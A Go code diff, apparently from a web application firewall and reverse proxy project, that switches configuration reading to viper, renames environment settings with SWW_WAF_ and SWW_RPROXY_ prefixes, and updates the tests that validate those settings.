_, err := config.FromEnvironment(env.lookupEnv)
|
_, err := config.FromEnvironment(env.viper())
|
||||||
|
|
||||||
want := alertNtfyToken + ": holds a control character, such as the " +
|
want := alertNtfyToken + ": holds a control character, such as the " +
|
||||||
"carriage return of a Windows line end"
|
"carriage return of a Windows line end"
|
||||||
@@ -1069,7 +1070,7 @@ func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(t *testin
|
|||||||
|
|
||||||
_, err := config.FromEnvironment(environment{
|
_, err := config.FromEnvironment(environment{
|
||||||
instanceName: name, alertNtfyURL: "https://ntfy.example/sww-alerts",
|
instanceName: name, alertNtfyURL: "https://ntfy.example/sww-alerts",
|
||||||
}.lookupEnv)
|
}.viper())
|
||||||
|
|
||||||
want := instanceName + `: "fsn1app1\r" holds a control character, such as the ` +
|
want := instanceName + `: "fsn1app1\r" holds a control character, such as the ` +
|
||||||
`carriage return of a Windows line end, and is sent to ntfy in a header ` +
|
`carriage return of a Windows line end, and is sent to ntfy in a header ` +
|
||||||
@@ -1094,7 +1095,7 @@ func TestInstanceNameNotUTF8StopsTheStart(t *testing.T) {
|
|||||||
"set": {instanceName: latin1},
|
"set": {instanceName: latin1},
|
||||||
"in a file": {instanceName + "_FILE": writeFile(t, latin1+"\n")},
|
"in a file": {instanceName + "_FILE": writeFile(t, latin1+"\n")},
|
||||||
} {
|
} {
|
||||||
_, err := config.FromEnvironment(env.lookupEnv)
|
_, err := config.FromEnvironment(env.viper())
|
||||||
|
|
||||||
want := instanceName + `: "caf\xe9" is not valid UTF-8`
|
want := instanceName + `: "caf\xe9" is not valid UTF-8`
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
@@ -1109,9 +1110,10 @@ func TestCodeInAllowedCountriesAndTagDenyStopsTheStart(t *testing.T) {
|
|||||||
_, err := config.FromEnvironment(environment{
|
_, err := config.FromEnvironment(environment{
|
||||||
tagDeny: "country=cn,country=ru",
|
tagDeny: "country=cn,country=ru",
|
||||||
allowedCountries: "de,RU",
|
allowedCountries: "de,RU",
|
||||||
}.lookupEnv)
|
}.viper())
|
||||||
if err == nil {
|
if err == nil {
|
||||||
t.Fatal("ru in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_TAG_DENY was accepted")
|
t.Fatal("ru in SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES and " +
|
||||||
|
"SWW_WAF_TAG_DENY was accepted")
|
||||||
}
|
}
|
||||||
|
|
||||||
if !strings.HasPrefix(err.Error(), allowedCountries+": ") ||
|
if !strings.HasPrefix(err.Error(), allowedCountries+": ") ||
|
||||||
@@ -1171,7 +1173,7 @@ func TestLookupDBPathGoesWithTheFileSourceAlone(t *testing.T) {
|
|||||||
lookupDBPath + ": is set while " + lookupSource + " is off; only file reads it",
|
lookupDBPath + ": is set while " + lookupSource + " is off; only file reads it",
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
_, err := config.FromEnvironment(tc.env.lookupEnv)
|
_, err := config.FromEnvironment(tc.env.viper())
|
||||||
if err == nil || err.Error() != tc.want {
|
if err == nil || err.Error() != tc.want {
|
||||||
t.Errorf("settings %v: error %v, want %s", tc.env, err, tc.want)
|
t.Errorf("settings %v: error %v, want %s", tc.env, err, tc.want)
|
||||||
}
|
}
|
||||||
@@ -1200,7 +1202,7 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
|
|||||||
|
|
||||||
_, err := config.FromEnvironment(environment{
|
_, err := config.FromEnvironment(environment{
|
||||||
lookupSource: off, name: value,
|
lookupSource: off, name: value,
|
||||||
}.lookupEnv)
|
}.viper())
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), name+": ") ||
|
if err == nil || !strings.HasPrefix(err.Error(), name+": ") ||
|
||||||
!strings.Contains(err.Error(), lookupSource+" is off") {
|
!strings.Contains(err.Error(), lookupSource+" is off") {
|
||||||
t.Errorf("error %v, want one naming %s and %s", err, name, lookupSource)
|
t.Errorf("error %v, want one naming %s and %s", err, name, lookupSource)
|
||||||
@@ -1209,7 +1211,7 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Set empty, the lists need nothing looked up, and nor does
|
// Set empty, the lists need nothing looked up, and nor does
|
||||||
// SWW_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, a tag the
|
// SWW_WAF_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, a tag the
|
||||||
// lookup does not give, an anomaly threshold per AS number that is off,
|
// lookup does not give, an anomaly threshold per AS number that is off,
|
||||||
// any other anomaly threshold, or a blocklist.
|
// any other anomaly threshold, or a blocklist.
|
||||||
env := environment{
|
env := environment{
|
||||||
@@ -1351,7 +1353,7 @@ func TestInvalidAnomalySettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
|||||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||||
|
|
||||||
want := tc.name + ": " + tc.want
|
want := tc.name + ": " + tc.want
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
@@ -1445,14 +1447,14 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
|
|||||||
{environment{lookupSource: off, routeWatchURL: rw, tagDeny: "country=DE"}, tagDeny},
|
{environment{lookupSource: off, routeWatchURL: rw, tagDeny: "country=DE"}, tagDeny},
|
||||||
{environment{lookupSource: off, tagDeny: "asn=64496"}, tagDeny},
|
{environment{lookupSource: off, tagDeny: "asn=64496"}, tagDeny},
|
||||||
} {
|
} {
|
||||||
_, err := config.FromEnvironment(stopped.env.lookupEnv)
|
_, err := config.FromEnvironment(stopped.env.viper())
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), stopped.name+": ") {
|
if err == nil || !strings.HasPrefix(err.Error(), stopped.name+": ") {
|
||||||
t.Errorf("%v gave the error %v, want one naming %s", stopped.env, err, stopped.name)
|
t.Errorf("%v gave the error %v, want one naming %s", stopped.env, err, stopped.name)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
badURL := environment{routeWatchURL: "ftp://routewatch.example"}
|
badURL := environment{routeWatchURL: "ftp://routewatch.example"}
|
||||||
_, err := config.FromEnvironment(badURL.lookupEnv)
|
_, err := config.FromEnvironment(badURL.viper())
|
||||||
|
|
||||||
want := routeWatchURL + `: "ftp://routewatch.example" is not an http or https URL ` +
|
want := routeWatchURL + `: "ftp://routewatch.example" is not an http or https URL ` +
|
||||||
"without a user or a fragment, such as https://routewatch.example"
|
"without a user or a fragment, such as https://routewatch.example"
|
||||||
@@ -1507,7 +1509,7 @@ func TestTagThatNoRequestCanGetIsToldApartFromOneItCan(t *testing.T) {
|
|||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := config.FromEnvironment(tc.env.lookupEnv)
|
_, err := config.FromEnvironment(tc.env.viper())
|
||||||
|
|
||||||
switch {
|
switch {
|
||||||
case tc.want == "" && err != nil:
|
case tc.want == "" && err != nil:
|
||||||
@@ -1545,7 +1547,7 @@ func TestErrorOfATagSettingLeavesOutAZoneKey(t *testing.T) {
|
|||||||
{tagLimitPercent, tag + ":50," + tag + " :25", twice},
|
{tagLimitPercent, tag + ":50," + tag + " :25", twice},
|
||||||
{tagLimitPercent, tag + ":50,,", emptyItem},
|
{tagLimitPercent, tag + ":50,,", emptyItem},
|
||||||
} {
|
} {
|
||||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||||
|
|
||||||
want := tc.name + ": " + tc.want
|
want := tc.name + ": " + tc.want
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
@@ -1567,7 +1569,7 @@ func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) {
|
|||||||
{"the file of AS:percent lines", asnURL, environment{asnLimitPercentURL: asnURL}},
|
{"the file of AS:percent lines", asnURL, environment{asnLimitPercentURL: asnURL}},
|
||||||
{
|
{
|
||||||
"the CrowdSec decision list", lapi + "/v1/decisions",
|
"the CrowdSec decision list", lapi + "/v1/decisions",
|
||||||
environment{"SWW_CROWDSEC_LAPI_URL": lapi, "SWW_CROWDSEC_LAPI_KEY": "key"},
|
environment{"SWW_WAF_CROWDSEC_LAPI_URL": lapi, "SWW_WAF_CROWDSEC_LAPI_KEY": "key"},
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
@@ -1575,10 +1577,10 @@ func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
tc.env[tagLists] = "dup=" + tc.listURL
|
tc.env[tagLists] = "dup=" + tc.listURL
|
||||||
|
|
||||||
want := tagLists + `: "` + tc.listURL + `" is in SWW_BLOCKLIST_URLS, is ` +
|
want := tagLists + `: "` + tc.listURL + `" is in SWW_WAF_BLOCKLIST_URLS, is ` +
|
||||||
"SWW_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too"
|
"SWW_WAF_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too"
|
||||||
|
|
||||||
_, err := config.FromEnvironment(tc.env.lookupEnv)
|
_, err := config.FromEnvironment(tc.env.viper())
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
t.Errorf("error %v, want %s", err, want)
|
t.Errorf("error %v, want %s", err, want)
|
||||||
}
|
}
|
||||||
@@ -1647,7 +1649,7 @@ func TestInvalidBiasedThresholdStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
|||||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||||
|
|
||||||
want := tc.name + ": " + tc.want
|
want := tc.name + ": " + tc.want
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
@@ -1665,7 +1667,7 @@ const (
|
|||||||
asnURL = "https://lists.example/asn.txt"
|
asnURL = "https://lists.example/asn.txt"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The actions of SWW_BLOCKLIST_ACTION, as Config gives them.
|
// The actions of SWW_WAF_BLOCKLIST_ACTION, as Config gives them.
|
||||||
const (
|
const (
|
||||||
actionDeny = "deny"
|
actionDeny = "deny"
|
||||||
actionLimit = "limit"
|
actionLimit = "limit"
|
||||||
@@ -1744,7 +1746,7 @@ func TestInvalidReputationSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
|||||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||||
|
|
||||||
want := tc.name + ": " + tc.want
|
want := tc.name + ": " + tc.want
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
@@ -1759,9 +1761,9 @@ func TestASNLimitPercentURLThatIsABlocklistStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
_, err := config.FromEnvironment(environment{
|
_, err := config.FromEnvironment(environment{
|
||||||
blocklistURLs: dropURL + "," + asnURL, asnLimitPercentURL: asnURL,
|
blocklistURLs: dropURL + "," + asnURL, asnLimitPercentURL: asnURL,
|
||||||
}.lookupEnv)
|
}.viper())
|
||||||
|
|
||||||
want := asnLimitPercentURL + `: "` + asnURL + `" is in SWW_BLOCKLIST_URLS too`
|
want := asnLimitPercentURL + `: "` + asnURL + `" is in SWW_WAF_BLOCKLIST_URLS too`
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
t.Errorf("error %v, want %s", err, want)
|
t.Errorf("error %v, want %s", err, want)
|
||||||
}
|
}
|
||||||
@@ -1886,7 +1888,7 @@ func TestInvalidDNSBLSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
|||||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||||
|
|
||||||
want := tc.name + ": " + tc.want
|
want := tc.name + ": " + tc.want
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
@@ -1954,7 +1956,7 @@ func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
|
|||||||
{spamhaus + "," + otherZone, `"` + spamhausMasked + `" is listed twice`},
|
{spamhaus + "," + otherZone, `"` + spamhausMasked + `" is listed twice`},
|
||||||
{spamhaus + ",,", "has an empty item in its list"},
|
{spamhaus + ",,", "has an empty item in its list"},
|
||||||
} {
|
} {
|
||||||
_, err := config.FromEnvironment(environment{dnsblZones: tc.value}.lookupEnv)
|
_, err := config.FromEnvironment(environment{dnsblZones: tc.value}.viper())
|
||||||
|
|
||||||
want := dnsblZones + ": " + tc.want
|
want := dnsblZones + ": " + tc.want
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
@@ -2007,7 +2009,7 @@ func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
|||||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||||
|
|
||||||
want := tc.name + ": " + tc.want
|
want := tc.name + ": " + tc.want
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
@@ -2064,7 +2066,7 @@ func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
|||||||
notLAPIURL = " is not an http or https URL without a user or a fragment, " +
|
notLAPIURL = " is not an http or https URL without a user or a fragment, " +
|
||||||
"such as http://172.17.0.1:8080"
|
"such as http://172.17.0.1:8080"
|
||||||
anotherList = `gives the decision list "` + lapi + `/v1/decisions", which is in ` +
|
anotherList = `gives the decision list "` + lapi + `/v1/decisions", which is in ` +
|
||||||
`SWW_BLOCKLIST_URLS or is SWW_ASN_LIMIT_PERCENT_URL too`
|
`SWW_WAF_BLOCKLIST_URLS or is SWW_WAF_ASN_LIMIT_PERCENT_URL too`
|
||||||
)
|
)
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -2121,7 +2123,7 @@ func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
|||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := config.FromEnvironment(tc.env.lookupEnv)
|
_, err := config.FromEnvironment(tc.env.viper())
|
||||||
if err == nil || err.Error() != tc.want {
|
if err == nil || err.Error() != tc.want {
|
||||||
t.Errorf("error %v, want %s", err, tc.want)
|
t.Errorf("error %v, want %s", err, tc.want)
|
||||||
}
|
}
|
||||||
@@ -2274,14 +2276,14 @@ func TestInvalidValueStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
// wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff checks that with rule
|
// wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff checks that with rule
|
||||||
// files off, and either setting turning off the Core Rule Set, the tag
|
// files off, and either setting turning off the Core Rule Set, the tag
|
||||||
// exploitsignature in SWW_TAG_DENY stops the start.
|
// exploitsignature in SWW_WAF_TAG_DENY stops the start.
|
||||||
func wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff(t *testing.T) {
|
func wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff(t *testing.T) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
for _, name := range []string{wafMode, wafAnomalyThreshold} {
|
for _, name := range []string{wafMode, wafAnomalyThreshold} {
|
||||||
_, err := config.FromEnvironment(environment{
|
_, err := config.FromEnvironment(environment{
|
||||||
tagDeny: exploitTag, rulesEnabled: disabled, name: off,
|
tagDeny: exploitTag, rulesEnabled: disabled, name: off,
|
||||||
}.lookupEnv)
|
}.viper())
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), tagDeny+": ") {
|
if err == nil || !strings.HasPrefix(err.Error(), tagDeny+": ") {
|
||||||
t.Errorf("%s=off with rule files off gave the error %v, want one naming %s",
|
t.Errorf("%s=off with rule files off gave the error %v, want one naming %s",
|
||||||
name, err, tagDeny)
|
name, err, tagDeny)
|
||||||
@@ -2314,7 +2316,7 @@ func wantStartStopped(t *testing.T, invalid []struct{ name, value string }) {
|
|||||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||||
if err == nil {
|
if err == nil {
|
||||||
t.Fatalf("%s=%q was accepted", tc.name, tc.value)
|
t.Fatalf("%s=%q was accepted", tc.name, tc.value)
|
||||||
}
|
}
|
||||||
@@ -2339,7 +2341,7 @@ func TestHostOrTransferEncodingStopsTheStart(t *testing.T) {
|
|||||||
t.Run(value, func(t *testing.T) {
|
t.Run(value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := config.FromEnvironment(environment{logRequestHeaders: value}.lookupEnv)
|
_, err := config.FromEnvironment(environment{logRequestHeaders: value}.viper())
|
||||||
if err == nil || err.Error() != logRequestHeaders+": "+want {
|
if err == nil || err.Error() != logRequestHeaders+": "+want {
|
||||||
t.Errorf("error %v, want %s: %s", err, logRequestHeaders, want)
|
t.Errorf("error %v, want %s: %s", err, logRequestHeaders, want)
|
||||||
}
|
}
|
||||||
@@ -2356,7 +2358,7 @@ func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) {
|
|||||||
t.Run(name+"="+value, func(t *testing.T) {
|
t.Run(name+"="+value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := config.FromEnvironment(environment{name: value}.lookupEnv)
|
_, err := config.FromEnvironment(environment{name: value}.viper())
|
||||||
|
|
||||||
want := name + ": is shorter than 32 characters"
|
want := name + ": is shorter than 32 characters"
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
@@ -2412,7 +2414,7 @@ func TestSettingFromFileIsCheckedAsTheSettingItself(t *testing.T) {
|
|||||||
|
|
||||||
_, err := config.FromEnvironment(environment{
|
_, err := config.FromEnvironment(environment{
|
||||||
bytesLimitPerMinute + "_FILE": writeFile(t, "lots\n"),
|
bytesLimitPerMinute + "_FILE": writeFile(t, "lots\n"),
|
||||||
}.lookupEnv)
|
}.viper())
|
||||||
|
|
||||||
want := bytesLimitPerMinute + `: "lots" is not a size such as 512K, 100M or 5G, or off`
|
want := bytesLimitPerMinute + `: "lots" is not a size such as 512K, 100M or 5G, or off`
|
||||||
if err == nil || err.Error() != want {
|
if err == nil || err.Error() != want {
|
||||||
@@ -2423,7 +2425,7 @@ func TestSettingFromFileIsCheckedAsTheSettingItself(t *testing.T) {
|
|||||||
logRemoteURL: remoteURL,
|
logRemoteURL: remoteURL,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
logRemoteAppName + "_FILE": writeFile(t, "my app\n"),
|
logRemoteAppName + "_FILE": writeFile(t, "my app\n"),
|
||||||
}.lookupEnv)
|
}.viper())
|
||||||
|
|
||||||
want = logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` +
|
want = logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` +
|
||||||
`characters without a space, such as blog`
|
`characters without a space, such as blog`
|
||||||
@@ -2438,7 +2440,7 @@ func TestSettingAndItsFileBothSetStopsTheStart(t *testing.T) {
|
|||||||
_, err := config.FromEnvironment(environment{
|
_, err := config.FromEnvironment(environment{
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
metricsToken + "_FILE": writeFile(t, token),
|
metricsToken + "_FILE": writeFile(t, token),
|
||||||
}.lookupEnv)
|
}.viper())
|
||||||
|
|
||||||
want := metricsToken + ": is set, and so is " + metricsToken +
|
want := metricsToken + ": is set, and so is " + metricsToken +
|
||||||
"_FILE; set only one of them"
|
"_FILE; set only one of them"
|
||||||
@@ -2453,7 +2455,7 @@ func TestUnreadableSettingFileStopsTheStart(t *testing.T) {
|
|||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
|
|
||||||
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
||||||
_, err := config.FromEnvironment(environment{metricsToken + "_FILE": path}.lookupEnv)
|
_, err := config.FromEnvironment(environment{metricsToken + "_FILE": path}.viper())
|
||||||
|
|
||||||
want := metricsToken + "_FILE: cannot be read: "
|
want := metricsToken + "_FILE: cannot be read: "
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
||||||
|
|||||||
@@ -0,0 +1,16 @@
|
|||||||
|
// Package configtest gives the tests of the packages that read settings the
|
||||||
|
// settings they choose.
|
||||||
|
package configtest
|
||||||
|
|
||||||
|
import "github.com/spf13/viper"
|
||||||
|
|
||||||
|
// Viper returns a viper holding each of settings, as the viper config.NewViper
|
||||||
|
// returns holds a process's environment.
|
||||||
|
func Viper(settings map[string]string) *viper.Viper {
|
||||||
|
v := viper.New()
|
||||||
|
for name, value := range settings {
|
||||||
|
v.Set(name, value)
|
||||||
|
}
|
||||||
|
|
||||||
|
return v
|
||||||
|
}
|
||||||
+37
-48
@@ -8,38 +8,39 @@ import (
|
|||||||
"net/netip"
|
"net/netip"
|
||||||
"net/url"
|
"net/url"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/spf13/viper"
|
||||||
)
|
)
|
||||||
|
|
||||||
// RProxy is the settings of `sww rproxy`. A size or time limit of zero
|
// RProxy is the settings of `sww rproxy`. A size or time limit of zero
|
||||||
// is off.
|
// is off.
|
||||||
type RProxy struct {
|
type RProxy struct {
|
||||||
// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
|
// ListenAddr is where rproxy listens (SWW_RPROXY_LISTEN_ADDR).
|
||||||
ListenAddr string
|
ListenAddr string
|
||||||
// UpstreamURL is the app (SWRP_UPSTREAM_URL).
|
// UpstreamURL is the app (SWW_RPROXY_UPSTREAM_URL).
|
||||||
UpstreamURL *url.URL
|
UpstreamURL *url.URL
|
||||||
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
|
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
|
||||||
// (SWRP_TRUSTED_PROXIES).
|
// (SWW_RPROXY_TRUSTED_PROXIES).
|
||||||
TrustedProxies []netip.Prefix
|
TrustedProxies []netip.Prefix
|
||||||
// WAFBackend is discriminator's URL (SWRP_WAF_BACKEND).
|
// WAFBackend is discriminator's URL (SWW_RPROXY_WAF_BACKEND).
|
||||||
WAFBackend *url.URL
|
WAFBackend *url.URL
|
||||||
// Timeout is how long rproxy waits for discriminator's answer to a question,
|
// Timeout is how long rproxy waits for discriminator's answer to a question,
|
||||||
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
|
// and to a report (SWW_RPROXY_TIMEOUT_MS). It cannot be off.
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// DefaultDisposition is what is done with a request when discriminator cannot be
|
// DefaultDisposition is what is done with a request when discriminator cannot be
|
||||||
// connected to, does not answer at all, or does not answer within Timeout:
|
// connected to, does not answer at all, or does not answer within Timeout:
|
||||||
// allow or deny (SWRP_DEFAULT_DISPOSITION).
|
// allow or deny (SWW_RPROXY_DEFAULT_DISPOSITION).
|
||||||
DefaultDisposition string
|
DefaultDisposition string
|
||||||
// MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and
|
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
|
||||||
// MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE).
|
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
|
||||||
MaxRequestSize int64
|
MaxRequestSize int64
|
||||||
MaxResponseSize int64
|
MaxResponseSize int64
|
||||||
// MaxRequestTime bounds sending the whole request: the visitor's request
|
// MaxRequestTime bounds sending the whole request: the visitor's request
|
||||||
// line and headers, and then, from their end, its body on its way to the
|
// line and headers, and then, from their end, its body on its way to the
|
||||||
// app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
|
// app (SWW_RPROXY_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
|
||||||
// the end of the request to its last byte reaching the visitor
|
// the end of the request to its last byte reaching the visitor
|
||||||
// (SWRP_MAX_RESPONSE_TIME_MS).
|
// (SWW_RPROXY_MAX_RESPONSE_TIME_MS).
|
||||||
MaxRequestTime time.Duration
|
MaxRequestTime time.Duration
|
||||||
MaxResponseTime time.Duration
|
MaxResponseTime time.Duration
|
||||||
|
|
||||||
@@ -58,24 +59,26 @@ var (
|
|||||||
"is not a whole number of milliseconds above zero, such as 60000, or off")
|
"is not a whole number of milliseconds above zero, such as 60000, or off")
|
||||||
)
|
)
|
||||||
|
|
||||||
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
|
// RProxyFromEnvironment reads rproxy's settings through v, normally the viper
|
||||||
// os.LookupEnv. A setting that is not set takes its default, and
|
// NewViper returns, bound to the process's environment. A setting that is not
|
||||||
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
|
// set takes its default, and SWW_RPROXY_WAF_BACKEND, which has none, must be
|
||||||
// invalid is an error that names it. Since rproxy never touches disk, its
|
// set. A setting may instead be given as a file: the variable named by the
|
||||||
// settings have no _FILE form.
|
// setting's name with _FILE added names the file, which is read now. A setting
|
||||||
func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
|
// that is set but invalid is an error that names it.
|
||||||
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
|
||||||
|
env := &environment{v: v}
|
||||||
cfg := &RProxy{
|
cfg := &RProxy{
|
||||||
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
|
ListenAddr: env.address("SWW_RPROXY_LISTEN_ADDR"),
|
||||||
UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
|
UpstreamURL: env.appURL("SWW_RPROXY_UPSTREAM_URL", defaultUpstreamURL),
|
||||||
TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
|
TrustedProxies: env.netblocks("SWW_RPROXY_TRUSTED_PROXIES", privateRanges),
|
||||||
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
|
WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
|
||||||
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
|
Timeout: env.milliseconds("SWW_RPROXY_TIMEOUT_MS", "2000"),
|
||||||
DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
|
DefaultDisposition: env.disposition("SWW_RPROXY_DEFAULT_DISPOSITION", "allow"),
|
||||||
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
|
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
|
||||||
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
|
MaxResponseSize: env.size("SWW_RPROXY_MAX_RESPONSE_SIZE", "1G"),
|
||||||
MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
|
MaxRequestTime: env.millisecondsOrOff("SWW_RPROXY_MAX_REQUEST_TIME_MS", "60000"),
|
||||||
MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
|
MaxResponseTime: env.millisecondsOrOff(
|
||||||
|
"SWW_RPROXY_MAX_RESPONSE_TIME_MS", "1800000"),
|
||||||
}
|
}
|
||||||
|
|
||||||
if env.err != nil {
|
if env.err != nil {
|
||||||
@@ -87,15 +90,15 @@ func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, erro
|
|||||||
return cfg, nil
|
return cfg, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
